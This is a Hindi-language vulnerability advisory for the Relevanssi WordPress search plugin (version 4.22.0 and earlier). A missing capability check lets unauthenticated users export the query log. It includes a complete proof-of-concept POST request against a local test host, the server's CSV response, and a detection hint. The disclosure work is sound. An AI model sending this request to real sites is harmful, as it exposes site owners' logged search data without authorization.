
Relevanssi – एक बेहतर खोज <= 4.22.0 - अनधिकृत क्वेरी लॉग निर्यात के लिए प्राधिकरण की कमी
Relevanssi – A Better Search <= 4.22.0 - अनधिकृत प्रमाणीकरण से अनधिकृत क्वेरी लॉग निर्यात
WordPress के लिए Relevanssi – A Better Search प्लगइन 4.22.0 तक के सभी संस्करणों में relevanssi_export_log_check() फ़ंक्शन पर क्षमता जांच की कमी के कारण डेटा तक अनधिकृत पहुंच संभव है। इससे अनधिकृत हमलावर क्वेरी लॉग डेटा निर्यात कर सकते हैं। विक्रेता ने संकेत दिया है कि वे उचित प्राधिकरण नियंत्रण के लिए क्षमता जांच जोड़ने पर विचार कर सकते हैं, हालांकि यह कमजोरी सैद्धांतिक रूप से वैसे ही पैच की गई है।
अनुरोध
POST /wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: http://kubernetes.docker.internal
Connection: keep-alive
tab=logging&relevanssi_omit_from_logs=&relevanssi_trim_logs=&relevanssi_export=Export+the+log+as+a+CSV+file
प्रतिक्रिया
HTTP/1.1 200 OK
Date: Wed, 25 Sep 2024 14:46:13 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.11
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
Last-Modified: Wed, 25 Sep 2024 14:46:14 GMT
Content-Disposition: attachment;filename=relevanssi_log.csv
Content-Transfer-Encoding: binary
Content-Length: 29
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/download
"No search keywords logged."
यदि आप इसे वास्तविक दुनिया में ढूंढ रहे हैं, तो मैं filename=relevanssi_log.csv के विरुद्ध मिलान करूंगा, क्योंकि मैंने प्लगइन के साथ कुछ नहीं किया है।